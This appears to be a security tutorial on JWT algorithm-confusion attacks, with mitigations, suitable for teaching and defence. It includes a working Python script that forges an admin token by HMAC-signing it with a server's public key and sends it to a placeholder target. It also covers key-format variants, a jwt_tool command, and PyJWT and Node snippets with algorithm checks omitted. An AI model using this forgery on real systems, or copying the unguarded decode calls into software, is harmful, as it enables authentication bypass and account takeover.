The asymmetric/symmetric mismatch
Algorithm confusion (also called "key confusion") exploits the fact that some JWT libraries accept any algorithm value from the token header and use it to select the verification function - even when the application is configured exclusively for asymmetric (RS256/ES256) signing.
The attack scenario: a server uses RS256 with an RSA private key to sign tokens. Its RSA public key is published (at /.well-known/jwks.json or similar). An attacker changes the token's alg from RS256 to HS256and signs the forged payload using HMAC-SHA256 with the RSA public key as the HMAC secret. The server, not enforcing its expected algorithm, then verifies the HMAC using the same public key - and it matches.
Why it works: the math
RS256 verification computes: RSASSA-PKCS1-v1_5-VERIFY(public_key, message, signature). HS256 verification computes: HMAC-SHA256(secret, message) == signature. When a library switches from RS256 to HS256 based on the token's alg claim, it passes the same key material - the RSA public key - to the HMAC function. The public key is typically 294-526 bytes of PEM-encoded data. The attacker uses the same bytes as the HMAC secret to produce a signature that verifies correctly.
import hmac, hashlib, base64, json, requests
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
# Step 1: Fetch the server's public key
# Common locations: /.well-known/jwks.json, /oauth/jwks, /api/.well-known/openid-configuration
response = requests.get("https://target.example.com/.well-known/jwks.json")
# Extract the PEM-encoded public key from the JWK (use jwt_arsenal or python-jwcrypto)
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Step 2: Forge the payload
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({
"sub": "admin",
"role": "superuser",
"exp": 9999999999
}))
# Step 3: Sign with the public key as HMAC secret
signing_input = f"{header}.{payload}".encode()
sig = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
forged_token = f"{header}.{payload}.{b64url(sig)}"
print("Forged token:", forged_token)
# Step 4: Send the forged token
r = requests.get("https://target.example.com/api/admin",
headers={"Authorization": f"Bearer {forged_token}"})
print(r.status_code, r.text) # 200 → exploitedKey format details matter
The exact bytes used as the HMAC secret must match what the server passes to its HMAC function. Libraries typically pass the public key in one of three formats - and using the wrong one produces an invalid signature:
# Variant 1: PEM-encoded (most common)
secret = b"""-----BEGIN PUBLIC KEY-----
MIIBIjAN...
-----END PUBLIC KEY-----
"""
# Variant 2: PEM without trailing newline
secret = b"""-----BEGIN PUBLIC KEY-----
MIIBIjAN...
-----END PUBLIC KEY-----"""
# Variant 3: DER-encoded (raw bytes, no PEM wrapping)
import base64
der_b64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA..."
secret = base64.b64decode(der_b64)
# Try all three - the correct one produces a valid signature.
# jwt_tool automates this: python3 jwt_tool.py <JWT> -X k -pk public.pemECDSA variant: ES256 → HS256
The same attack applies to ES256 (ECDSA P-256). The EC public key is shorter (~91 bytes in PEM form), but the attack mechanics are identical - change alg from ES256 to HS256and sign with the EC public key as the HMAC secret.
# EC public key PEM (shorter than RSA)
ec_public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
-----END PUBLIC KEY-----"""
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))
sig = hmac.new(ec_public_key_pem, f"{header}.{payload}".encode(),
hashlib.sha256).digest()
forged = f"{header}.{payload}.{b64url(sig)}"PS256 / RS384 / RS512 variants
Libraries that do not enforce specific algorithm families may also be confused from RS256 to RS384/RS512 (different hash functions over the same RSA operation) or from RSA to PS256 (RSA-PSS). These variants are less common because the key type remains RSA and the confusions are subtler - but they have appeared in real library implementations.
Vulnerable library behaviour
import jwt
# No algorithms kwarg → PyJWT accepts any alg from token header
payload = jwt.decode(token, public_key, options={"verify_signature": True})
# When token has alg=HS256, PyJWT uses public_key as the HMAC secret
# → attacker who signed with that key passes verificationpayload = jwt.decode(
token,
public_key,
algorithms=["RS256"], # strict allowlist - rejects HS256
audience="api.example.com"
)// No algorithms option in jwt.verify() → accepts algorithm from token header
const decoded = jwt.verify(token, publicKey);
// If token has alg=HS256, publicKey is used as HMAC secret → bypassconst decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // rejects HS256
audience: 'api.example.com',
issuer: 'auth.example.com',
});- The 2015 coordinated disclosure by Tim McLean affected Auth0, Okta, and multiple JWT libraries that accepted the algorithm from the token header without enforcement
- PortSwigger Research published a detailed breakdown of the attack in 2022 - the References section links to it
- Most impactful in OAuth 2.0 / OIDC deployments: the public key is published by design (JWKS endpoint), removing the need to exfiltrate anything
- Still relevant: libraries that implement
allowedAlgorithmsbut default to allowing all are common in older Node.js and Java stacks
Mitigations
- Always pass an explicit
algorithmsallowlist - a single algorithm, not a family - Use separate key objects for symmetric and asymmetric algorithms - never pass an RSA key to an HS256 verifier
- Store the expected algorithm server-side alongside the key, not in the token
- If using JWKS, validate that each key's
algfield matches the expected algorithm before using it - Prefer modern libraries (jose, python-jose) that enforce algorithm binding by key type